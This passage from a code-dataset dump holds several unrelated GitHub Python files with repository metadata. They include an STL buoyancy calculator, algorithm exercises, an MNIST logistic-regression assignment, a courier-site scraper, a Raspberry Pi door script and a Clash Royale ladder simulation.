en question\r\n # print(\"liste :\", liste)\r\n\r\n\r\ndef listeSTL(fichier):\r\n # ouverture fichier + insertion des lignes dans une liste : nb_triangle\r\n ligne = fichier.readlines()\r\n # supprime le premier et dernier élément extrait du fichier STL\r\n del ligne[0]\r\n del ligne[-1]\r\n\r\n nb_triangles = int(len(ligne)/7)\r\n\r\n liste_globale = []\r\n liste_triangle = []\r\n print(\"Structure composée de :\", nb_triangles, \"triangles\")\r\n print(\"\"\"Classée de la façon suivante: \r\nliste_globale = [coordonées du triangle1 (type:liste), coordonées du triangle2 (type:liste), ...]\r\n\"\"\")\r\n # récupération des coordonnées d'un triangle + sa normale et l'inclue dans la liste globale\r\n for iteration in range(0, nb_triangles):\r\n fin_de_lignenormale = (ligne[0+7*iteration])[15:] # récupère les derniers éléments de la ligne\r\n fonction_coordonnees_globales(fin_de_lignenormale, liste_triangle)\r\n fin_de_ligne_a = (ligne[2+7*iteration])[13:]\r\n fonction_coordonnees_globales(fin_de_ligne_a, liste_triangle)\r\n fin_de_ligne_b = (ligne[3+7*iteration])[13:]\r\n fonction_coordonnees_globales(fin_de_ligne_b, liste_triangle)\r\n fin_de_ligne_c = (ligne[4+7*iteration])[13:]\r\n fonction_coordonnees_globales(fin_de_ligne_c, liste_triangle)\r\n\r\n liste_globale.append(liste_triangle)\r\n # la liste_triangle à été ajoutée à liste_globale\r\n # on vide la liste triangle pour la calcul du triangle suivant\r\n liste_triangle = []\r\n\r\n return liste_globale\r\n\r\n\r\ndef interieurSommeArchimede(facette):\r\n if facette[5] >= 0 and facette[8] >= 0 and facette[11] >= 0:\r\n ab = [facette[6]-facette[3], facette[7]-facette[4], facette[8]-facette[5]]\r\n ac = [facette[9]-facette[3], facette[10]-facette[4], facette[11]-facette[5]]\r\n ab_scalaire_ac = [ab[1]*ac[2]-ab[2]*ac[1], ab[2]*ac[0]-ab[0]*ac[2], ab[0]*ac[1]-ab[1]*ac[0]]\r\n normeScalaireSurDeux = (((ab_scalaire_ac[0]**2)+(ab_scalaire_ac[1]**2)+(ab_scalaire_ac[2]**2))**(1/2))/2\r\n surfaceParNormale = [normeScalaireSurDeux*facette[0], normeScalaireSurDeux*facette[1], normeScalaireSurDeux*facette[2]]\r\n z = (facette[5]+facette[8]+facette[11])/3\r\n interieurSomme = [surfaceParNormale[0]*z, surfaceParNormale[1]*z, surfaceParNormale[2]*z]\r\n return interieurSomme\r\n\r\n elif facette[5] <= 0 and facette[8] <= 0 and facette[11] <= 0:\r\n return [0, 0, 0]\r\n\r\n\r\ndef archimede(objet):\r\n somme = [0,0,0]\r\n for i in objet:\r\n interieurSomme = interieurSommeArchimede(i)\r\n somme = [somme[0]+interieurSomme[0], somme[1]+interieurSomme[1], somme[2]+interieurSomme[2]]\r\n rho = 1000\r\n g = 9.81\r\n pousseArchimede = [somme[0]*rho*g, somme[1]*rho*g, somme[2]*rho*g]\r\n\r\n return pousseArchimede\r\n\r\n############################################################################\r\n############# Main program #############\r\n############################################################################\r\n\r\n\r\nobjetEtudie = listeSTL(fichier)\r\nprint(\"Objet Etudié :\",objetEtudie)\r\nprint(\"poussée d'archimède maximale\",archimede(objetEtudie))\r\n","repo_name":"louis172000/PYTHON_2","sub_path":"FichiersSTL/Facette+archimede.py","file_name":"Facette+archimede.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22277469376","text":"#1부터 시작하여 가능한 주사위의 눈이 1~6 이므로 모든 경우를 큐에 넣는다.\n#이 때, 다음 노드가 뱀 또는 사다리에 연결되어 있다면 반드시 이동해야 하므로\n#즉시 연결된 노드로 이동한다.\n#범위 내에서 아직 방문하지 않은 경우 주사위 횟수를 추가하고 다음 노드를 큐에 넣는다.\n\n#list대신 dictionary 쓴 이유 : 뱀과 사다리의 번호가 서로 중복되지 않기 때문에 kwy를 통해 뱀과 사다리의\n#도착점을 O(1)만에 찾기 위해서임.\nimport sys\nfrom collections import deque\ninput = sys.stdin.readline\n\ndef bfs(graph, start, visited):\n queue = deque([start])\n visited[start] = 0\n\n while queue:\n v = queue.popleft()\n for i in range(1, 7):\n y = v + i\n if y > 100:\n continue\n y = graph[y]\n if visited[y] == -1 or visited[y] > visited[v] + 1:\n visited[y] = visited[v] + 1\n queue.append(y)\n\n\nN, M = map(int, input().split())\n\ngraph = [*range(101)]\nvisited = [-1] * 101\n\nfor _ in range(N + M):\n x, y = map(int, input().split())\n graph[x] = y\n\nbfs(graph, 1, visited)\nprint(visited[-1])\n\n#이동을 했을 때 94에 도착을 했고, 근데 그 94 자리에 94->90이라느 뱀이 존재하면 \"94로 이동 후\n#뱀에 의해서 90으로 이동할게되고 한 번의 횟수로 세어진다. 이를 위해 94에 방문하지\n#않은 것으로 표시하고 대신 90을 방문한 것으로 표시해야함.\n#그럼 100까지 가는 방법이 93->99->100","repo_name":"cheon4050/CodingTest-Study","sub_path":"11주차/16928/kse_16928.py","file_name":"kse_16928.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9383163","text":"#!/usr/bin/env python3\n\nimport time\nimport asyncio\nfrom threading import Thread\nimport cv2\nimport websockets\nfrom config import *\nfrom http_server import run_server\n\nasync def send_image(ws, path):\n cap = cv2.VideoCapture(0);\n encode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 90]\n while(True):\n try:\n ret, frame = cap.read()\n result, encimg = cv2.imencode('.jpg', frame, encode_param)\n if(result):\n await ws.send(encimg.tobytes())\n except KeyboardInterrupt:\n print(\"Exiting...\")\n break;\n\ndef run_webserver():\n run_server(port=HTTP_PORT, config_dir = CONFIG_DIR)\n\ndef run_img_server():\n asyncio.set_event_loop(asyncio.new_event_loop())\n img_server = websockets.serve(send_image, IP, IMG_PORT)\n asyncio.get_event_loop().run_until_complete(img_server)\n asyncio.get_event_loop().run_forever()\n\ndef main():\n web = Thread(target=run_webserver)\n img = Thread(target=run_img_server)\n web.start()\n img.start()\n web.join()\n img.join()\n\nif __name__ == '__main__':\n main()\n","repo_name":"maxwell-yaron/trailcam","sub_path":"server/cam_interface.py","file_name":"cam_interface.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"41952072985","text":"rows=5\ncloums=4\n\nn=4\nfor num in range(n):\n if num==n-2:\n print(\"*\")\n else:\n print(num)\n\nfor hang in range(rows):\n for lie in range(cloums):\n if lie==cloums-1 and ( hang==0 or hang==rows-1):\n print(\"$\",end=\"\")\n else:\n print('*',end=\"\")\n print()\n\n\nprint(\"----------------------------------------------------------------\")\n","repo_name":"Aliceljm1/pythoncourse","sub_path":"chapter_13/test_hanglie.py","file_name":"test_hanglie.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5687728200","text":"import os\nimport argparse\n\nfrom joblib import load as skload\n\n# ignore Drjit warning\nimport warnings\nwarnings.filterwarnings('ignore')\n\nimport torch_geometric.transforms as GeoT\n\nfrom utils import merge_by_chunk\n\nfrom mignn.dataset import PathLightDataset\nimport config as MIGNNConf\n\nfrom mignn.processing import ScalerTransform, SignalEncoder\n\ndef main():\n\n parser = argparse.ArgumentParser(description=\"Simple script only use for scaling one subset of viewpoint\")\n parser.add_argument('--subset', type=str, help=\"subset data\", required=True)\n parser.add_argument('--scalers', type=str, help=\"where scalers are saved\", required=True)\n parser.add_argument('--output', type=str, help=\"output temp scaled subset\", required=True)\n\n args = parser.parse_args()\n \n subset_path = args.subset\n scalers_folder = args.scalers\n output_folder = args.output\n \n # load scalers\n scalers = skload(scalers_folder)\n \n transforms_list = [ScalerTransform(scalers)]\n \n if MIGNNConf.ENCODING_SIZE is not None:\n transforms_list.append(SignalEncoder(MIGNNConf.ENCODING_SIZE, MIGNNConf.ENCODING_MASK))\n \n applied_transforms = GeoT.Compose(transforms_list)\n \n # prepare temp scaled datasets\n \n # load dataset and then perform scalers\n c_dataset = PathLightDataset(root=subset_path)\n _, dataset_name = os.path.split(subset_path)\n c_scaled_dataset_path = os.path.join(output_folder, dataset_name)\n \n PathLightDataset(c_scaled_dataset_path, c_dataset, \n pre_transform=applied_transforms)\n \n # perform merge\n # merge_by_chunk(viewpoint_scaled_subsets, output_folder, applied_transforms)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jbuisine/mignn","sub_path":"scripts/scale_subset.py","file_name":"scale_subset.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42854809988","text":"\"\"\"\n题目描述:\n我们可以用2*1的小矩形横着或者竖着去覆盖更大的矩形。请问用n个2*1的小矩形无重叠地覆盖一个2*n的大矩形,总共有多少种方法?\n\n解决思路:\n本质还是斐波那契额数列\n链接:https://www.nowcoder.com/questionTerminal/72a5a919508a4251859fb2cfb987a0e6?answerType=1&f=discussion\n来源:牛客网\n特殊的target=0时输出0,其他时候还是斐波那契递归。\n一个2*n的矩形,可以分为两种方式填充\n1、2*(n-1) + 2*1 ,此时只要把RectCover(n-1)的那种,再拼接一个竖的2*1的就可以了,方法数目为RectCover(n-1)\n2、2*(n-2) + 2*2,此时2*2可以看成横着放两个1*2,或者竖着放两个2*1,但是其中竖的的正好是方法1的方式,故只算上横的即可,方法数目为RectCover(n-2)\n\"\"\"\n\n\n# -*- coding:utf-8 -*-\nclass Solution:\n def rectCover(self, number):\n if number <= 2:\n return number\n ans = [0 for _ in range(number + 1)]\n ans[1] = 1\n ans[2] = 2\n for i in range(3,number+1):\n ans[i] = ans[i-1] + ans[i-2]\n return ans[-1]","repo_name":"JaeZheng/jianzhi_offer","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27518961368","text":"import operator\r\nll = []\r\ndef collatz(len, num):\r\n if num >= 10**6:\r\n ll.append((num, len))\r\n print(num, len)\r\n return 0\r\n collatz(len+1, num*2)\r\n if (num - 1)%3 == 0:\r\n collatz(len+1,int((num - 1)/3))\r\ncollatz(1,1)\r\nsorted = sorted(ll, key=operator.itemgetter(1))\r\nprint(sorted)","repo_name":"Cianidos/Euler_Project","sub_path":"Euler/11-20/14 2 Longest Collatz sequence.py","file_name":"14 2 Longest Collatz sequence.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38563151705","text":"import os\nimport numpy as np\nimport scipy\nimport matplotlib\nimport mnist\nimport pickle\nmatplotlib.use('agg')\nfrom matplotlib import pyplot\n\nmnist_data_directory = os.path.join(os.path.dirname(__file__), \"data\")\n\n# additional imports you may find useful for this assignment\nfrom tqdm import tqdm\nfrom scipy.special import softmax\n\n# TODO add any additional imports and global variables\n\n\ndef load_MNIST_dataset():\n PICKLE_FILE = os.path.join(mnist_data_directory, \"MNIST.pickle\")\n try:\n dataset = pickle.load(open(PICKLE_FILE, 'rb'))\n except:\n # load the MNIST dataset\n mnist_data = mnist.MNIST(mnist_data_directory, return_type=\"numpy\", gz=True)\n Xs_tr, Lbls_tr = mnist_data.load_training();\n Xs_tr = Xs_tr.transpose() / 255.0\n Ys_tr = numpy.zeros((10, 60000))\n for i in range(60000):\n Ys_tr[Lbls_tr[i], i] = 1.0 # one-hot encode each label\n Xs_te, Lbls_te = mnist_data.load_testing();\n Xs_te = Xs_te.transpose() / 255.0\n Ys_te = numpy.zeros((10, 10000))\n for i in range(10000):\n Ys_te[Lbls_te[i], i] = 1.0 # one-hot encode each label\n\n dataset = (Xs_tr, Ys_tr, Xs_te, Ys_te)\n pickle.dump(dataset, open(PICKLE_FILE, 'wb'))\n return dataset\n\n\n# compute the cross-entropy loss of the classifier\n#\n# x examples (d)\n# y labels (c)\n# gamma L2 regularization constant\n# W parameters (c * d)\n#\n# returns the model cross-entropy loss\ndef multinomial_logreg_loss_i(x, y, gamma, W):\n # TODO students should implement this in Part 1\n u = W@x\n softmax = np.exp(u)/np.sum(np.exp(u), axis=0)\n return np.dot((-y),np.log(softmax))+gamma*np.sum(W**2)/2\n# compute the gradient of a single example of the multinomial logistic regression objective, with regularization\n#\n# x training example (d)\n# y training label (c)\n# gamma L2 regularization constant\n# W parameters (c * d)\n#\n# returns the gradient of the model parameters\ndef multinomial_logreg_grad_i(x, y, gamma, W):\n # TODO students should implement this in Part 1\n u = W@x\n softmax = np.exp(u)/np.sum(np.exp(u), axis=0)\n return np.outer(softmax-y, x)+gamma*W\n# test that the function multinomial_logreg_grad_i is indeed the gradient of multinomial_logreg_loss_i\ndef test_gradient():\n # TODO students should implement this in Part 1\n x = np.array([1, 2, 3])\n y = np.array([1,0,0])\n W = np.ones((3,3))\n gradient = multinomial_logreg_grad_i(x,y,0.0001,W)\n V = np.random.random((3,3))\n ita = 0.0000000001\n print(np.trace(V.T@gradient), (multinomial_logreg_loss_i(x,y,0.0001,W+ita*V)-multinomial_logreg_loss_i(x,y,0.0001,W))/ita)\n\n# compute the error of the classifier\n#\n# Xs examples (d * n)\n# Ys labels (c * n)\n# W parameters (c * d)\n#\n# returns the model error as a percentage of incorrect labels\ndef multinomial_logreg_error(Xs, Ys, W):\n # TODO students should implement this\n correct_pred = 0\n c,n=Ys.shape\n u = W@Xs\n softmax = np.exp(u)/np.sum(np.exp(u))\n max_index = np.argmax(softmax,axis=0)\n for i in range(n):\n if Ys[:,i][max_index[i]]==1:\n correct_pred+=1\n return 1-correct_pred/n\n\n# compute the gradient of the multinomial logistic regression objective, with regularization\n#\n# Xs training examples (d * n)\n# Ys training labels (c * n)\n# gamma L2 regularization constant\n# W parameters (c * d)\n#\n# returns the gradient of the model parameters\ndef multinomial_logreg_total_grad(Xs, Ys, gamma, W):\n # TODO students should implement this\n # a starter solution using an average of the example gradients\n # (d,n) = Xs.shape\n # acc = W * 0.0\n # for i in range(n):\n # acc += multinomial_logreg_grad_i(Xs[:,i], Ys[:,i], gamma, W)\n # return acc / n;\n\n (d, n) = Xs.shape\n u = W@Xs\n softmax = np.exp(u)/np.sum(np.exp(u), axis=0)\n\n return np.matmul(softmax-Ys, Xs.T)/n+gamma*W\n\n\n\n\n# compute the cross-entropy loss of the classifier\n#\n# Xs examples (d * n)\n# Ys labels (c * n)\n# gamma L2 regularization constant\n# W parameters (c * d)\n#\n# returns the model cross-entropy loss\ndef multinomial_logreg_total_loss(Xs, Ys, gamma, W):\n # TODO students should implement this\n # a starter solution using an average of the example gradients\n u = W@Xs\n softmax = np.exp(u)/np.sum(np.exp(u), axis=0)\n return np.sum((-Ys)*np.log(softmax))+gamma*np.sum(W**2)/2\n\n # (d,n) = Xs.shape\n # acc = W * 0.0\n # for i in range(n):\n # acc += multinomial_logreg_loss_i(Xs[:,i], Ys[:,i], gamma, W)\n # return acc / n;\n\n\n# run gradient descent on a multinomial logistic regression objective, with regularization\n#\n# Xs training examples (d * n)\n# Ys training labels (d * c)\n# gamma L2 regularization constant\n# W0 the initial value of the parameters (c * d)\n# alpha step size/learning rate\n# num_iters number of iterations to run\n# monitor_freq how frequently to output the parameter vector\n#\n# returns a list of models parameters, one every \"monitor_freq\" iterations\n# should return model parameters before iteration 0, iteration monitor_freq, iteration 2*monitor_freq, and again at the end\n# for a total of (num_iters/monitor_freq)+1 models, if num_iters is divisible by monitor_freq.\ndef gradient_descent(Xs, Ys, gamma, W0, alpha, num_iters, monitor_freq):\n # TODO students should implement this\n parameters_list = [W0]\n for i in range(1,num_iters+1):\n W0 = W0 - alpha*multinomial_logreg_total_grad(Xs, Ys, gamma, W0)\n if i%monitor_freq ==0:\n parameters_list.append(W0)\n return parameters_list\n\n# estimate the error of the classifier\n#\n# Xs examples (d * n)\n# Ys labels (c * n)\n# gamma L2 regularization constant\n# W parameters (c * d)\n# nsamples number of samples to use for the estimation\n#\n# returns the estimated model error when sampling with replacement\ndef estimate_multinomial_logreg_error(Xs, Ys, W, nsamples):\n # TODO students should implement this\n n = Xs.shape[1]\n sample_index = np.random.choice(n,nsamples)\n Xs = Xs[:,sample_index]\n Ys = Ys[:,sample_index]\n return multinomial_logreg_error(Xs, Ys, W)\n\nif __name__ == \"__main__\":\n (Xs_tr, Ys_tr, Xs_te, Ys_te) = load_MNIST_dataset()\n # TODO add code to produce figures\n c = Ys_tr.shape[0]\n d = Xs_tr.shape[0]\n # Part 1 Testing with definition of limit\n #test_gradient()\n\n # Part 2 - Time GD with for loops\n #para_list = gradient_descent(Xs_tr,Ys_tr,0.0001,np.random.random((c,d)),1,10,10)\n\n #Part 3 - Time GD without for loops\n para_list = gradient_descent(Xs_tr,Ys_tr,0.0001,np.random.random((c,d)),1,1000,10)\n # # Part 4 - generate plots\n\n error_tr = []\n error_te = []\n loss_tr = []\n loss_te = []\n x = []\n error_tr_s_100 = []\n error_te_s_100 = []\n error_tr_s_1000 = []\n error_te_s_1000 = []\n\n # training error plot\n for i in range(len(para_list)):\n x.append(i * 10)\n for i in tqdm(range(len(para_list))):\n error_tr.append(multinomial_logreg_error(Xs_tr, Ys_tr, para_list[i]))\n for i in tqdm(range(len(para_list))):\n error_te.append(multinomial_logreg_error(Xs_te, Ys_te, para_list[i]))\n # for i in range(len(para_list)):\n # loss_tr.append(multinomial_logreg_total_loss(Xs_tr, Ys_tr, 0.0001, para_list[i]))\n # loss_te.append(multinomial_logreg_total_loss(Xs_te, Ys_te, 0.0001, para_list[i]))\n # Estimating with subsamples\n for i in tqdm(range(len(para_list))):\n error_tr_s_1000.append(estimate_multinomial_logreg_error(Xs_tr, Ys_tr, para_list[i],1000))\n for i in tqdm(range(len(para_list))):\n error_te_s_1000.append(estimate_multinomial_logreg_error(Xs_te, Ys_te, para_list[i],1000))\n for i in tqdm(range(len(para_list))):\n error_tr_s_100.append(estimate_multinomial_logreg_error(Xs_tr, Ys_tr, para_list[i],100))\n for i in tqdm(range(len(para_list))):\n error_te_s_100.append(estimate_multinomial_logreg_error(Xs_te, Ys_te, para_list[i],100))\n pyplot.plot(x,error_tr, label = \"full\")\n pyplot.plot(x,error_tr_s_100, \"--\", label = \"sample size 100\")\n pyplot.plot(x, error_tr_s_1000, \"--\",label = \"sample size 1000\")\n pyplot.title(\"Training Error Rate\")\n pyplot.xlabel(\"iterations\")\n pyplot.ylabel(\"Training Error Rate\")\n pyplot.legend()\n pyplot.savefig(\"project1_err_tr.png\")\n pyplot.close()\n\n pyplot.plot(x,error_te, label = \"full\")\n pyplot.plot(x, error_te_s_100, \"--\",label = \"sample size 100\")\n pyplot.plot(x, error_te_s_1000, \"--\",label = \"sample size 1000\")\n pyplot.title(\"Test Error Rate\")\n pyplot.xlabel(\"iterations\")\n pyplot.ylabel(\"Test Error Rate\")\n pyplot.legend()\n pyplot.savefig(\"project1_err_te.png\")\n pyplot.close()\n\n # pyplot.plot(x,loss_tr)\n # pyplot.title(\"Training Loss\")\n # pyplot.xlabel(\"iterations\")\n # pyplot.ylabel(\"Training Loss\")\n # pyplot.savefig(\"project1_loss_tr.png\")\n # pyplot.close()\n #\n # pyplot.plot(x,loss_te)\n # pyplot.title(\"Testing Loss\")\n # pyplot.xlabel(\"iterations\")\n # pyplot.ylabel(\"Test Loss\")\n # pyplot.savefig(\"project1_loss_te.png\")\n\n #print(multinomial_logreg_error(Xs_te, Ys_te, para_list[-1]))","repo_name":"jz2102/Large-Scale-ML","sub_path":"Project 1.py","file_name":"Project 1.py","file_ext":"py","file_size_in_byte":9489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30756645368","text":"#\n# Created by 안호성 on 2022-11-30.\n#\n\n# import\nimport time\n\nimport RPi.GPIO as GPIO\n\n# GPIO setup\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\n# set GPIO pinNumber\nSensor = 13\nElectromagnet = 17\n\n# GPIO Sensor and Electromagnet setup\nGPIO.setup(Sensor, GPIO.IN)\nGPIO.setup(Electromagnet, GPIO.OUT)\n\ni = 1\n\n# loop precess\nwhile True:\n # make and set Sen var with Sensor value\n Sen = GPIO.input(Sensor)\n\n # Set Electromagnet On/Off with Sensor value\n if Sen:\n for i in range(3):\n time.sleep(1)\n if not Sen:\n GPIO.output(Electromagnet, GPIO.HIGH)\n pass\n print('open')\n GPIO.output(Electromagnet, GPIO.LOW)\n for i in range(10):\n time.sleep(1)\n print('open', '_',i)\n else:\n GPIO.output(Electromagnet, GPIO.HIGH)\n\n # running status\n print(True, i, Sen)\n i += 1\n\n # Delay\n time.sleep(0.05)\n","repo_name":"BetaTester772/toilet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17946609656","text":"\"\"\"\nCount expresses in Hubei areas\nhttp://www.kuaidi100.com/network/net_4201_all_all_1.htm wuhan\nhttp://www.kuaidi100.com/network/net_4202_all_all_1.htm huangshi\n3 shiyan\nXXX\n5 yichang\nxiangyang\ne zhou\njingmen\nxiaogan\njingzhou\nhuanggang\nxianning\n13 suizhou\nhttp://www.kuaidi100.com/network/net_4228_all_all_1.htm enshi\nhttp://www.kuaidi100.com/network/net_4254_all_all_1.htm xiantao\nhttp://www.kuaidi100.com/network/net_4255_all_all_1.htm qianjiang\nhttp://www.kuaidi100.com/network/net_4256_all_all_1.htm tianmen\nhttp://www.kuaidi100.com/network/net_4271_all_all_1.htm shengnongjia\n\n\n\n\"\"\"\n\nfrom lxml import html\nimport requests\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ncode_base = 4201\nurl_main= 'http://www.kuaidi100.com/network'\nurl_base = 'http://www.kuaidi100.com/network/net_'\nurl_tail = \"_all_all_1.htm\"\nexp_area_dict = {}\n\ncity_code_dict = {\"wuhan\":4201, 'huangshi':4202, 'shiyan':4203, 'yichang':4205,\n'xiangyang':4206, 'ezhou':4207, 'jingmen':4208,'xiaogan':4209, 'jingzhou':4210,\n'huanggang':4211, 'xianning':4212, 'suizhou':4213,'enshi':4228, 'xiantao':4254,\n'qianjiang':4255, 'tianmen':4256, 'shengnongjia':4271}\n\nf = open('dataset.txt', 'w')\n\ndef getCityData(url_str):\n page = requests.get(url_str)\n tree = html.fromstring(page.content)\n\n selectbox = tree.xpath('//dl[@class=\"dl-select\"]')\n\n # Type of expresses\n\n area = selectbox[0]\n datas = area.xpath('//dd/a')\n\n # The URL of express-type is net_4201_all_XX ...\n\n flag = True\n for r in datas:\n ref = r.attrib.get('href')\n exp_name = str(r.text)\n i = exp_name.find('(')\n exp_name = exp_name[:i]\n if ref != None:\n #ignore /network/\n myString = ref[9:]\n subs = myString.split('_')\n\n if subs[2] == 'all' and flag:\n type_url = url_main + ref\n f.write(exp_name + ':')\n type_page = requests.get(type_url)\n type_tree = html.fromstring(type_page.content)\n dlarea = type_tree.xpath('//dl[@class=\"dl-select\"]')\n table = dlarea[0]\n datas = table.xpath('//dd/a')\n # Detect the nums in the areas\n for data in datas:\n area_name = str(data.text)\n ref = data.attrib.get('href')\n # print '-----', text,ref\n if area_name != None and ref != None:\n i = area_name.find('(')\n if i != -1:\n myString = ref[9:]\n subs = myString.split('_')\n if subs[2] != 'all':\n # exp_area_dict[exp_name]\n f.write(area_name + ',')\n f.write('\\n')\n # exp_area_dict[str(r.text)] = ref;\n else:\n flag = False\n\n\nfor city, code in city_code_dict.iteritems():\n tmp = url_base + str(city_code_dict[city]) + url_tail;\n f.write('+++++['+ city + ']+++++\\n');\n getCityData(tmp)\n\nf.close()\n\n\n\n\n # print exp_area_dict.keys()\n\n\n\n\n#llls\n","repo_name":"vonzhou/express-count","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8636492831","text":"from PyQt5 import QtWidgets\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QHeaderView\n\nfrom Models.main_model import MainWindowModel\nfrom Models.table_model import TableModel\nfrom controllers.controller import Controller\nfrom db.queries import Queries\nfrom db.string_constants import ColumnNames\n\n\nclass TrainerWindowController(Controller):\n\n def __init__(self, ui, db_connection):\n super(TrainerWindowController, self).__init__(ui=ui, db_connection=db_connection)\n\n self.user_id = None\n\n # CONNECTING FUNCTIONS TO BUTTONS\n self.ui.pushButton_personal.clicked.connect(self.show_personal)\n self.ui.pushButton_animals.clicked.connect(self.show_animals)\n self.ui.pushButton_shows.clicked.connect(self.show_shows)\n\n def setup_controller(self, user_id):\n\n self.user_id = user_id\n self.main_model = MainWindowModel(self.db_connection, 'Pracownicy')\n self.table_model = TableModel(self.main_model, edit_enabled=False)\n self.create_list(Queries.query_trainer_personal, ['Imię', 'Nazwisko', 'PESEL', 'Data urodzenia', 'Nr licencji'])\n self.ui.tableView.setHorizontalHeader(QHeaderView(Qt.Horizontal, self.ui.tableView))\n self.ui.tableView.setModel(self.table_model)\n self.ui.tableView.horizontalHeader().setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents)\n\n def show_personal(self):\n print('PERSONAL')\n col_names = ['Imię', 'Nazwisko', 'PESEL', 'Data urodzenia', 'Nr licencji']\n query = Queries.query_trainer_personal\n self.create_list(query, col_names)\n self.refresh_table()\n\n def show_animals(self):\n print('ANIMALS')\n col_names = ['Imię zwierzecia', 'Plec', 'Nr Akwarium', 'Gatunek']\n query = Queries.query_trainer_animals\n self.create_list(query, col_names)\n self.refresh_table()\n\n def show_shows(self):\n print('SHOWS')\n col_names = ['Nazwa', 'Miejsce', 'Dzien tygodnia', 'Godzina rozpoczecia', 'Godzina zakonczenia']\n query = Queries.query_trainer_shows\n self.create_list(query, col_names)\n self.refresh_table()\n\n def create_list(self, query, col_names):\n response = self.db_connection.send_request(query=query, params={'id': self.user_id})\n print(response)\n self.table_model.rows = response\n self.table_model.setHeaders(col_names)\n self.table_model.rows = response\n self.refresh_table()\n\n def refresh_table(self):\n self.ui.tableView.setModel(self.table_model)\n self.ui.tableView.viewport().update()\n print(self.ui.tableView.wordWrap())\n","repo_name":"PROZ-293472/Oceanarium","sub_path":"controllers/trainer_window_controller.py","file_name":"trainer_window_controller.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40008666343","text":"import random\r\nimport player as pl\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib as mpl\r\nfrom matplotlib import pyplot as plt\r\nimport seaborn as sns\r\n\r\n#Global variables\r\nCOLS = [\"ID\", \"Trophies\", \"Wins\",\"Losses\", \"King Tower\", \"Card Level\",\"Total Level Difference\", \"LvlDiff/Match\"]\r\nPALETTE = sns.color_palette(\"mako_r\", as_cmap=True)\r\n\r\n\r\ndef createArray(numPlayers, trophies):\r\n \"\"\"Creates an array of player objects\r\n \r\n Args:\r\n numPlayers: Integer, number of player objects to be created\r\n trophies: the starting number of trophies\r\n \"\"\"\r\n playerList = [pl.createPlayer(random.choice(range(8,15)), id = i, trophies= trophies) for i in range(numPlayers)]\r\n return np.asarray(playerList)\r\n\r\ndef simulate(numPlayers, initialTrophies, numMatches, gatesList = [5000]):\r\n \"\"\"Simulates the CR ladder with numPlayers players starting at initialTrophies\r\n Used to set a baseline for uniform distribution of players across KTs\r\n plays numMatches matches\r\n Args: numPlayers - int, number of players in the ladder\r\n initialTrophies - int, initial starting numbr of trophies\r\n numMatches - int, Number of matches to play\r\n \"\"\"\r\n playerArr = createArray(numPlayers, initialTrophies)\r\n queue = np.asarray([random.choice(playerArr)], dtype = object)\r\n matchesPlayed = 0\r\n maxQueueSize = 0\r\n while matchesPlayed < numMatches:\r\n if matchesPlayed %(numMatches//10) == 0:\r\n print(matchesPlayed)\r\n if queue.size> maxQueueSize:\r\n maxQueueSize = queue.size\r\n if queue.size == 0:\r\n queue = np.append(queue, random.choice(playerArr))\r\n pass\r\n else:\r\n newPlayer = random.choice(playerArr)\r\n addPos = np.searchsorted(queue, newPlayer)\r\n if newPlayer in queue:\r\n pass #can't play against themself\r\n else:\r\n addPos = np.searchsorted(queue, newPlayer)\r\n try:\r\n opponent = queue[addPos]\r\n except IndexError as error:\r\n queue = np.insert(queue, addPos, newPlayer)\r\n pass\r\n if opponent.matchAllowed(newPlayer):\r\n newPlayer.playMatch(opponent, gatesList = gatesList)\r\n matchesPlayed += 1\r\n queue = np.delete(queue, addPos)\r\n else:\r\n queue = np.insert(queue, addPos, newPlayer)\r\n playerArr.sort()\r\n print(f\"Max queue size: {maxQueueSize}\")\r\n return playerArr\r\n\r\ndef continueSim(playerArr, numMatches, mode = None, cardLvlRule = 0, KTdiff = 0, KTcutoff = 5000, gatesList = [5000]):\r\n \"\"\"Continues a simulation for numMatches more games, Very slow if using mode isn't none\r\n Args: \r\n playerArr: Array of player objects. \r\n numMatches: Number of matches to be played\r\n mode: The type of matchmaking to use. Either 'KT', 'CL', 'KTCL'\r\n cardLvlRule: Int, the maximum difference in card levels allowed in a match\r\n KTdiff: The maximum difference in king tower between both players\r\n KTcutoff: The maximum trophies where the KT diff rule applies. \"\"\"\r\n queue = np.asarray([random.choice(playerArr)], dtype = object)\r\n matchesPlayed = 0\r\n maxQueueSize = 0\r\n numMatches += 10 #off sets the matches played counter\r\n while matchesPlayed < numMatches:\r\n\r\n if matchesPlayed %(numMatches//10) == 0:\r\n print(matchesPlayed)\r\n matchesPlayed += 1 #just to prevent 